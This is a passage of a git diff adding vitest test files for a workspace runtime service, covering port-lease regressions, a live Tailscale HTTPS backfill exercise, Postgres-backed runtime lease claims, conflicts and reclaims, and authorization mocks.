+      // The occupying mapping is left strictly alone: no removal, no adoption.
+      expect(calls.filter((call) => call.startsWith("remove"))).toEqual([]);
+
+      const [row] = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.id, seed.leasedRuntimeId));
+      expect(row!.status).toBe("stopped");
+      expect(row!.port).toBe(LEASED_APP_PORT);
+    }, 30_000);
+
+    it("regression 4: concurrent starts in different workspaces never share a pair", async () => {
+      const seed = await seedIncident({ leaseStatus: "archived" });
+      const { broker } = createFakeBroker();
+      installDeps(broker);
+
+      const [first, second] = await Promise.all([
+        startRuntimeServicesForWorkspaceControl(startInput(seed, seed.otherWorkspaceId)),
+        startRuntimeServicesForWorkspaceControl(startInput(seed, seed.leasedWorkspaceId)),
+      ]);
+
+      const ports = [first[0]?.port, second[0]?.port].sort();
+      expect(ports).toEqual([LEASED_APP_PORT, NEXT_APP_PORT]);
+    }, 30_000);
+  },
+);
diff --git a/server/src/__tests__/workspace-runtime-https-live-exercise.test.ts b/server/src/__tests__/workspace-runtime-https-live-exercise.test.ts
new file mode 100644
index 00000000000..1ec69a4d8f0
--- /dev/null
+++ b/server/src/__tests__/workspace-runtime-https-live-exercise.test.ts
@@ -0,0 +1,259 @@
+/**
+ * Opt-in LIVE exercise of the PAP-17158 in-place HTTPS backfill.
+ *
+ * Unlike `workspace-runtime.test.ts`, which drives the backfill through an
+ * injected broker fake, this test uses the production exposure dependencies: the
+ * real Unix-socket broker client, real Tailscale MagicDNS resolution, and a real
+ * cert-validating HTTPS probe. It is the check that the fail-closed lifecycle
+ * actually terminates in a browser-trusted `https://<node>.<tailnet>.ts.net:<port>`
+ * URL rather than only in a mock's return value.
+ *
+ * It is skipped unless BOTH hold, because it mutates host-level Tailscale serve
+ * state and must never run in CI:
+ *
+ *   - `PAPERCLIP_LIVE_BROKER_EXERCISE=1`
+ *   - the broker socket exists (`PAPERCLIP_TAILSCALE_BROKER_SOCKET` or the default)
+ *
+ * Run it on a broker-provisioned host with:
+ *
+ *   PAPERCLIP_LIVE_BROKER_EXERCISE=1 pnpm --filter @paperclipai/server exec \
+ *     vitest run src/__tests__/workspace-runtime-https-live-exercise.test.ts
+ *
+ * The caller must be the broker's configured service UID/GID and its listeners
+ * must run as `BROKER_RUNTIME_UID`, or the broker correctly refuses to publish.
+ */
+import { randomUUID } from "node:crypto";
+import fs from "node:fs/promises";
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+import {
+  companies,
+  createDb,
+  projectWorkspaces,
+  projects,
+  workspaceRuntimeServices,
+  type Db,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+import {
+  reconcilePersistedRuntimeServicesOnStartup,
+  resetRuntimeServicesForTests,
+  startRuntimeServicesForWorkspaceControl,
+  stopRuntimeServicesForProjectWorkspace,
+  type RealizedExecutionWorkspace,
+} from "../services/workspace-runtime.ts";
+
+const DEFAULT_BROKER_SOCKET = "/run/paperclip-tailscale-broker/broker.sock";
+const brokerSocketPath = process.env.PAPERCLIP_TAILSCALE_BROKER_SOCKET ?? DEFAULT_BROKER_SOCKET;
+
+async function brokerSocketPresent() {
+  try {
+    return (await fs.stat(brokerSocketPath)).isSocket();
+  } catch {
+    return false;
+  }
+}
+
+const optedIn = process.env.PAPERCLIP_LIVE_BROKER_EXERCISE === "1";
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const live = optedIn && embeddedPostgresSupport.supported && (await brokerSocketPresent());
+
+if (optedIn && !live) {
+  console.warn(
+    `[PAP-17158] live exercise opted in but skipped: broker socket at ${brokerSocketPath} `
+      + `present=${await brokerSocketPresent()}, embeddedPostgres=${embeddedPostgresSupport.supported}`,
+  );
+}
+
+(live ? describe : describe.skip)("PAP-17158 live HTTPS backfill exercise", () => {
+  let db: Db;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("pap17158-live");
+    db = createDb(tempDb.connectionString);
+  }, 60_000);
+
+  afterAll(async () => {
+    await resetRuntimeServicesForTests();
+    await tempDb?.stop?.();
+  }, 60_000);
+
+  it("upgrades a pre-existing HTTP workspace in place to a browser-trusted HTTPS URL", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "pap17158-live-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "pap17158-live-home-"));
+    const previousHome = process.env.PAPERCLIP_HOME;
+    const previousInstance = process.env.PAPERCLIP_INSTANCE_ID;
+    const previousMode = process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `pap17158-live-${randomUUID()}`;
+
+    // An ephemeral legacy port rather than the real template's 45439, so this
+    // never contends with the live workspace runtime on the same host.
+    const reservePort = async () => {
+      for (let attempt = 0; attempt < 100; attempt += 1) {
+        const probe = net.createServer();
+        await new Promise<void>((resolve) => probe.listen(0, "127.0.0.1", resolve));
+        const address = probe.address();
+        const port = typeof address === "object" && address ? address.port : null;
+        await new Promise<void>((resolve, reject) => probe.close((e) => (e ? reject(e) : resolve())));
+        if (port && port <= 55_535 && (port < 42_000 || port > 42_999)) return port;
+      }
+      throw new Error("failed to reserve a legacy port outside the broker range");
+    };
+
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    const legacyPort = await reservePort();
+    // Serves 200 at /api/health on the app port and its HMR companion, loopback
+    // only — the shape the broker's /proc ownership proof requires.
+    const command =
+      "node -e \"const http=require('node:http');const p=Number(process.env.PORT);"
+      + "for(const q of [p,p+10000])http.createServer((req,res)=>{res.writeHead(200,{'content-type':'application/json'});"
+      + "res.end(JSON.stringify({status:'ok',port:q}))}).listen(q,'127.0.0.1');setInterval(()=>{},1000)\"";
+    const workspaceRuntime = {
+      services: [
+        {
+          name: "paperclip-dev",
+          command,
+          port: legacyPort,
+          // Pre-feature block: backend URL only, no exposure declaration.
+          expose: { type: "url", urlTemplate: "http://127.0.0.1:{{port}}" },
+          readiness: {
+            type: "http",
+            urlTemplate: "http://127.0.0.1:{{port}}/api/health",
+            timeoutSec: 20,
+            intervalMs: 100,
+          },
+          lifecycle: "shared",
+          reuseScope: "project_workspace",
+          stopPolicy: { type: "manual" },
+        },
+      ],
+    };
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `L${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "PAP-17158 live exercise",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "local_path",
+      cwd: workspaceRoot,
+      isPrimary: true,
+      metadata: {
+        runtimeConfig: { workspaceRuntime, desiredState: "running", serviceStates: { "0": "running" } },
+      },
+    });
+
+    const evidence: Record<string, unknown> = {};
+    try {
+      // ---- Before: the workspace as it exists today, plain HTTP. ----
+      process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = "off";
+      const before = await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor: { id: null, name: "Paperclip", companyId },
+        issue: null,
+        workspace: {
+          baseCwd: workspaceRoot,
+          source: "project_primary",
+          projectId,
+          workspaceId: projectWorkspaceId,
+          repoUrl: null,
+          repoRef: "HEAD",
+          strategy: "project_primary",
+          cwd: workspaceRoot,
+          branchName: null,
+          worktreePath: null,
+          warnings: [],
+          created: false,
+        } satisfies RealizedExecutionWorkspace,
+        config: { workspaceRuntime, desiredState: "running", serviceStates: { "0": "running" } },
+        adapterEnv: {},
+      });
+      const runtimeServiceId = before[0]?.id;
+      expect(runtimeServiceId).toBeTruthy();
+      const [httpRow] = await db.select().from(workspaceRuntimeServices);
+      expect(httpRow.exposure).toBeNull();
+      evidence.beforeUrl = httpRow.url;
+      evidence.beforePort = httpRow.port;
+      expect(String(httpRow.url)).toMatch(/^http:\/\//);
+      await expect(fetch(`http://127.0.0.1:${legacyPort}/api/health`)).resolves.toMatchObject({ ok: true });
+
+      // ---- Deploy: production exposure deps, automatic default on. ----
+      await resetRuntimeServicesForTests(); // restores the real broker client
+      delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+
+      const result = await reconcilePersistedRuntimeServicesOnStartup(db);
+      evidence.reconcile = result;
+      expect(result.backfilled).toBe(1);
+      expect(result.restartFailed).toBe(0);
+
+      // ---- After: same row, real cert-validated HTTPS URL. ----
+      const afterRows = await db.select().from(workspaceRuntimeServices);
+      expect(afterRows).toHaveLength(1);
+      const httpsRow = afterRows[0]!;
+      expect(httpsRow.id).toBe(runtimeServiceId);
+      evidence.afterUrl = httpsRow.url;
+      evidence.afterPort = httpsRow.port;
+      evidence.afterExposureState = httpsRow.exposure?.state;
+      expect(httpsRow.status).toBe("running");
+      expect(httpsRow.exposure?.state).toBe("ready");
+      expect(String(httpsRow.url)).toMatch(/^https:\/\/.+\.ts\.net:\d+$/);
+      expect(httpsRow.port).toBeGreaterThanOrEqual(42_000);
+      expect(httpsRow.port).toBeLessThanOrEqual(42_999);
+
+      // Strict TLS, no relaxed verification: this is the whole point.
+      const probe = await fetch(`${httpsRow.url}/api/health`, { redirect: "error" });
+      expect(probe.ok).toBe(true);
+      evidence.liveProbeStatus = probe.status;
+
+      // The old HTTP backend is gone, not merely shadowed.
+      await expect(fetch(`http://127.0.0.1:${legacyPort}/api/health`)).rejects.toThrow();
+
+      // ---- Repeat: idempotent, no churn. ----
+      await resetRuntimeServicesForTests();
+      const second = await reconcilePersistedRuntimeServicesOnStartup(db);
+      expect(second.backfilled).toBe(0);
+      const [repeatRow] = await db.select().from(workspaceRuntimeServices);
+      expect(repeatRow.port).toBe(httpsRow.port);
+      expect(repeatRow.url).toBe(httpsRow.url);
+      evidence.repeatUrl = repeatRow.url;
+    } finally {
+      // eslint-disable-next-line no-console
+      console.log("[PAP-17158 live exercise]", JSON.stringify(evidence, null, 2));
+      // Deprovisions the broker lease as well as the backend process.
+      await stopRuntimeServicesForProjectWorkspace({
+        db,
+        projectWorkspaceId,
+        workspaceCwd: workspaceRoot,
+      }).catch((error) => console.error("[PAP-17158] teardown failed", error));
+      await resetRuntimeServicesForTests();
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+      if (previousHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousHome;
+      if (previousInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousInstance;
+      if (previousMode === undefined) delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+      else process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = previousMode;
+    }
+  }, 180_000);
+});
diff --git a/server/src/__tests__/workspace-runtime-leases.test.ts b/server/src/__tests__/workspace-runtime-leases.test.ts
new file mode 100644
index 00000000000..d13f2eec3b3
--- /dev/null
+++ b/server/src/__tests__/workspace-runtime-leases.test.ts
@@ -0,0 +1,475 @@
+import { randomUUID } from "node:crypto";
+import { eq } from "drizzle-orm";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  agents,
+  companies,
+  createDb,
+  executionWorkspaceRuntimeLeases,
+  executionWorkspaces,
+  heartbeatRuns,
+  issues,
+  projects,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+import {
+  WORKSPACE_RUNTIME_LEASE_TTL_MS,
+  workspaceRuntimeLeaseService,
+} from "../services/workspace-runtime-leases.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping execution workspace runtime lease tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+describeEmbeddedPostgres("execution workspace runtime leases", () => {
+  let db!: ReturnType<typeof createDb>;
+  // A second client with its own connection pool stands in for a second server
+  // process: nothing is shared in memory, so exclusivity has to come from Postgres.
+  let otherProcessDb!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-workspace-runtime-lease-");
+    db = createDb(tempDb.connectionString);
+    otherProcessDb = createDb(tempDb.connectionString);
+  }, 30_000);
+
+  afterEach(async () => {
+    await db.delete(executionWorkspaceRuntimeLeases);
+    await db.delete(issues);
+    await db.delete(executionWorkspaces);
+    await db.delete(projects);
+    await db.delete(heartbeatRuns);
+    await db.delete(agents);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await tempDb?.cleanup();
+  });
+
+  async function seedLane() {
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    const agentId = randomUUID();
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Runtime lease",
+      issuePrefix: `L${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Canary lane",
+      status: "in_progress",
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "git_worktree",
+      name: "Shared canary workspace",
+      status: "active",
+      cwd: "/tmp/runtime-lease-workspace",
+    });
+    await db.insert(agents).values({
+      id: agentId,
+      companyId,
+      name: "Security Engineer",
+      role: "engineer",
+    });
+
+    return { companyId, projectId, executionWorkspaceId, agentId };
+  }
+
+  async function seedIssue(
+    lane: { companyId: string; projectId: string; executionWorkspaceId: string; agentId: string },
+    input: { title: string; status?: string },
+  ) {
+    const issueId = randomUUID();
+    await db.insert(issues).values({
+      id: issueId,
+      companyId: lane.companyId,
+      projectId: lane.projectId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      title: input.title,
+      status: input.status ?? "in_progress",
+      priority: "high",
+      assigneeAgentId: lane.agentId,
+    });
+    return issueId;
+  }
+
+  async function seedRun(
+    lane: { companyId: string; agentId: string },
+    input: { status?: string } = {},
+  ) {
+    const runId = randomUUID();
+    await db.insert(heartbeatRuns).values({
+      id: runId,
+      companyId: lane.companyId,
+      agentId: lane.agentId,
+      status: input.status ?? "running",
+    });
+    return runId;
+  }
+
+  function ownerFor(input: { agentId: string; runId?: string | null; issueId?: string | null }) {
+    return {
+      actorType: "agent",
+      agentId: input.agentId,
+      runId: input.runId ?? null,
+      issueId: input.issueId ?? null,
+    };
+  }
+
+  it("grants the first claim and lets the same owner keep operating across runs", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const firstRunId = await seedRun(lane);
+    const secondRunId = await seedRun(lane);
+    const leases = workspaceRuntimeLeaseService(db);
+
+    const first = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, runId: firstRunId, issueId: canaryIssueId }),
+    });
+    expect(first.outcome).toBe("created");
+    expect(first.ownerKey).toBe(`issue:${canaryIssueId}`);
+    expect(first.lease?.lastAction).toBe("start");
+
+    // A later heartbeat of the same issue is still the same owner, even though the
+    // run identity changed.
+    const second = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "restart",
+      owner: ownerFor({ agentId: lane.agentId, runId: secondRunId, issueId: canaryIssueId }),
+    });
+    expect(second.outcome).toBe("renewed");
+    expect(second.lease?.id).toBe(first.lease?.id);
+    expect(second.lease?.lastAction).toBe("restart");
+    expect(second.lease?.ownerRunId).toBe(secondRunId);
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+  });
+
+  it("rejects a sequential competing issue with 409 and leaves the lease untouched", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const competingIssueId = await seedIssue(lane, { title: "Unrelated shared-workspace work" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    const held = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+
+    await expect(leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: competingIssueId }),
+    })).rejects.toMatchObject({
+      status: 409,
+      details: {
+        code: "workspace_runtime_lease_conflict",
+        executionWorkspaceId: lane.executionWorkspaceId,
+        requestedAction: "start",
+        ownerKey: `issue:${canaryIssueId}`,
+        ownerIssueId: canaryIssueId,
+      },
+    });
+
+    const after = await leases.get(lane.executionWorkspaceId);
+    expect(after?.id).toBe(held.lease?.id);
+    expect(after?.ownerKey).toBe(`issue:${canaryIssueId}`);
+    expect(after?.renewedAt.getTime()).toBe(held.lease?.renewedAt.getTime());
+  });
+
+  it("serializes concurrent claims from separate database clients so exactly one owner wins", async () => {
+    const lane = await seedLane();
+    const contenderIssueIds = await Promise.all(
+      Array.from({ length: 6 }, (_, index) => seedIssue(lane, { title: `Contender ${index}` })),
+    );
+    const leaseClients = [workspaceRuntimeLeaseService(db), workspaceRuntimeLeaseService(otherProcessDb)];
+
+    const results = await Promise.allSettled(
+      contenderIssueIds.map((issueId, index) =>
+        leaseClients[index % leaseClients.length]!.claim({
+          companyId: lane.companyId,
+          executionWorkspaceId: lane.executionWorkspaceId,
+          action: "start",
+          owner: ownerFor({ agentId: lane.agentId, issueId }),
+        }),
+      ),
+    );
+
+    const granted = results.filter((result) => result.status === "fulfilled");
+    const rejected = results.filter((result) => result.status === "rejected");
+    expect(granted).toHaveLength(1);
+    expect(rejected).toHaveLength(contenderIssueIds.length - 1);
+    for (const failure of rejected) {
+      expect((failure as PromiseRejectedResult).reason).toMatchObject({
+        status: 409,
+        details: { code: "workspace_runtime_lease_conflict" },
+      });
+    }
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.ownerKey).toBe(
+      (granted[0] as PromiseFulfilledResult<{ ownerKey: string | null }>).value.ownerKey,
+    );
+  });
+
+  it("keeps a competing claim out from another database client after the lease is established", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const competingIssueId = await seedIssue(lane, { title: "Competing lane" });
+
+    await workspaceRuntimeLeaseService(db).claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+
+    await expect(workspaceRuntimeLeaseService(otherProcessDb).claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "stop",
+      owner: ownerFor({ agentId: lane.agentId, issueId: competingIssueId }),
+    })).rejects.toMatchObject({
+      status: 409,
+      details: { code: "workspace_runtime_lease_conflict", requestedAction: "stop" },
+    });
+  });
+
+  it("lets the teardown issue reclaim once the canary issue reaches a terminal status", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const teardownIssueId = await seedIssue(lane, { title: "Authorized teardown" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+
+    await expect(leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "stop",
+      owner: ownerFor({ agentId: lane.agentId, issueId: teardownIssueId }),
+    })).rejects.toMatchObject({ status: 409 });
+
+    await db.update(issues).set({ status: "done" }).where(eq(issues.id, canaryIssueId));
+
+    const reclaimed = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "stop",
+      owner: ownerFor({ agentId: lane.agentId, issueId: teardownIssueId }),
+    });
+    expect(reclaimed.outcome).toBe("reclaimed");
+    expect(reclaimed.reclaimedFrom).toEqual({
+      ownerKey: `issue:${canaryIssueId}`,
+      reason: "owner_issue_terminal",
+    });
+    expect(reclaimed.lease?.ownerIssueId).toBe(teardownIssueId);
+  });
+
+  it("reclaims from a hidden owner issue and from a terminal owner run", async () => {
+    const lane = await seedLane();
+    const hiddenIssueId = await seedIssue(lane, { title: "Hidden owner" });
+    const nextIssueId = await seedIssue(lane, { title: "Next owner" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: hiddenIssueId }),
+    });
+    await db.update(issues).set({ hiddenAt: new Date() }).where(eq(issues.id, hiddenIssueId));
+
+    const afterHidden = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: nextIssueId }),
+    });
+    expect(afterHidden.reclaimedFrom?.reason).toBe("owner_issue_hidden");
+
+    // Run-scoped owners (no issue in run context) recover once the run is terminal.
+    await leases.release({ executionWorkspaceId: lane.executionWorkspaceId, force: true });
+    const staleRunId = await seedRun(lane, { status: "running" });
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, runId: staleRunId }),
+    });
+
+    await expect(leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: nextIssueId }),
+    })).rejects.toMatchObject({ status: 409 });
+
+    await db.update(heartbeatRuns).set({ status: "failed" }).where(eq(heartbeatRuns.id, staleRunId));
+    const afterRunTerminal = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: nextIssueId }),
+    });
+    expect(afterRunTerminal.reclaimedFrom).toEqual({
+      ownerKey: `run:${staleRunId}`,
+      reason: "owner_run_terminal",
+    });
+  });
+
+  it("bounds recovery with a lease TTL even when the owner still looks eligible", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const competingIssueId = await seedIssue(lane, { title: "Competing lane" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    const claimedAt = new Date(Date.now() - WORKSPACE_RUNTIME_LEASE_TTL_MS - 60_000);
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+      now: claimedAt,
+    });
+
+    const reclaimed = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: competingIssueId }),
+    });
+    expect(reclaimed.reclaimedFrom).toEqual({
+      ownerKey: `issue:${canaryIssueId}`,
+      reason: "lease_expired",
+    });
+  });
+
+  it("lets a teardown issue claim immediately after the owner releases the lane", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const teardownIssueId = await seedIssue(lane, { title: "Authorized teardown" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+
+    // A non-owner cannot release the lane out from under the owner.
+    await expect(leases.release({
+      executionWorkspaceId: lane.executionWorkspaceId,
+      owner: ownerFor({ agentId: lane.agentId, issueId: teardownIssueId }),
+    })).resolves.toEqual({ released: false, ownerKey: null });
+
+    await expect(leases.release({
+      executionWorkspaceId: lane.executionWorkspaceId,
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    })).resolves.toEqual({ released: true, ownerKey: `issue:${canaryIssueId}` });
+
+    const claimed = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "stop",
+      owner: ownerFor({ agentId: lane.agentId, issueId: teardownIssueId }),
+    });
+    expect(claimed.outcome).toBe("created");
+    expect(claimed.lease?.ownerIssueId).toBe(teardownIssueId);
+  });
+
+  it("leaves board/operator control unleased", async () => {
+    const lane = await seedLane();
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+
+    const boardClaim = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "restart",
+      owner: { actorType: "board", agentId: null, runId: null, issueId: null },
+    });
+    expect(boardClaim).toEqual({ outcome: "bypassed", ownerKey: null, lease: null, reclaimedFrom: null });
+
+    // The agent's lease survives the operator action.
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.ownerKey).toBe(`issue:${canaryIssueId}`);
+  });
+
+  it("scopes leases per execution workspace", async () => {
+    const lane = await seedLane();
+    const otherWorkspaceId = randomUUID();
+    await db.insert(executionWorkspaces).values({
+      id: otherWorkspaceId,
+      companyId: lane.companyId,
+      projectId: lane.projectId,
+      mode: "shared_workspace",
+      strategyType: "git_worktree",
+      name: "Second lane",
+      status: "active",
+      cwd: "/tmp/runtime-lease-workspace-2",
+    });
+    const canaryIssueId = await seedIssue(lane, { title: "HTTPS canary" });
+    const competingIssueId = await seedIssue(lane, { title: "Competing lane" });
+    const leases = workspaceRuntimeLeaseService(db);
+
+    await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: lane.executionWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: canaryIssueId }),
+    });
+    const other = await leases.claim({
+      companyId: lane.companyId,
+      executionWorkspaceId: otherWorkspaceId,
+      action: "start",
+      owner: ownerFor({ agentId: lane.agentId, issueId: competingIssueId }),
+    });
+    expect(other.outcome).toBe("created");
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(2);
+  });
+});
diff --git a/server/src/__tests__/workspace-runtime-routes-authz.test.ts b/server/src/__tests__/workspace-runtime-routes-authz.test.ts
index e13be3d6171..64bfce7f9c2 100644
--- a/server/src/__tests__/workspace-runtime-routes-authz.test.ts
+++ b/server/src/__tests__/workspace-runtime-routes-authz.test.ts
@@ -26,6 +26,11 @@ const mockEnvironmentService = vi.hoisted(() => ({
 }));
 
 const mockWorkspaceOperationService = vi.hoisted(() => ({}));
+const mockWorkspaceRuntimeLeaseService = vi.hoisted(() => ({
+  claim: vi.fn(async () => ({ outcome: "created", ownerKey: "issue:issue-1", lease: null, reclaimedFrom: null })),
+  release: vi.fn(async () => ({ released: false, ownerKey: null })),
+  get: vi.fn(async () => null),
+}));
 const mockHeartbeatService = vi.hoisted(() => ({}));
 const mockLogActivity = vi.hoisted(() => vi.fn());
 const mockGetTelemetryClient = vi.hoisted(() => vi.fn());
@@ -48,6 +53,8 @@ vi.mock("../services/index.js", () => ({
   projectService: () => mockProjectService,
   secretService: () => mockSecretService,
   workspaceOperationService: () => mockWorkspaceOperationService,
+  workspaceRuntimeLeaseService: () => mockWorkspaceRuntimeLeaseService,
+  LEASED_WORKSPACE_RUNTIME_ACTIONS: ["start", "stop", "restart", "repair"],
 }));
 
 vi.mock("../services/workspace-runtime.js", () => ({
@@ -76,6 +83,8 @@ function registerWorkspaceRouteMocks() {
     projectService: () => mockProjectService,
     secretService: () => mockSecretService,
     workspaceOperationService: () => mockWorkspaceOperationService,
+    workspaceRuntimeLeaseService: () => mockWorkspaceRuntimeLeaseService,
+    LEASED_WORKSPACE_RUNTIME_ACTIONS: ["start", "stop", "restart", "repair"],
   }));
 
   vi.doMock("../services/workspace-runtime.js", () => ({
diff --git a/server/src/__tests__/workspace-runtime-service-authz.test.ts b/server/src/__tests__/workspace-runtime-service-authz.test.ts
index 5f6cc4d0ea9..2eb168029f3 100644
--- a/server/src/__tests__/workspace-runtime-service-authz.test.ts
+++ b/server/src/__tests__/workspace-runtime-service-authz.test.ts
@@ -349,7 +349,11 @@ describeEmbeddedPostgres("workspace runtime service authz helper", () => {
     } as any, {
       companyId,
       executionWorkspaceId,
-    })).resolves.toBeUndefined();
+    })).resolves.toMatchObject({
+      actorType: "agent",
+      agentId: managerId,
+      issueId: null,
+    });
   });
 
   it("rejects unrelated same-company agents without matching workspace assignments", async () => {
diff --git a/server/src/__tests__/workspace-runtime-start-terminality.test.ts b/server/src/__tests__/workspace-runtime-start-terminality.test.ts
new file mode 100644
index 00000000000..93dcc2b3861
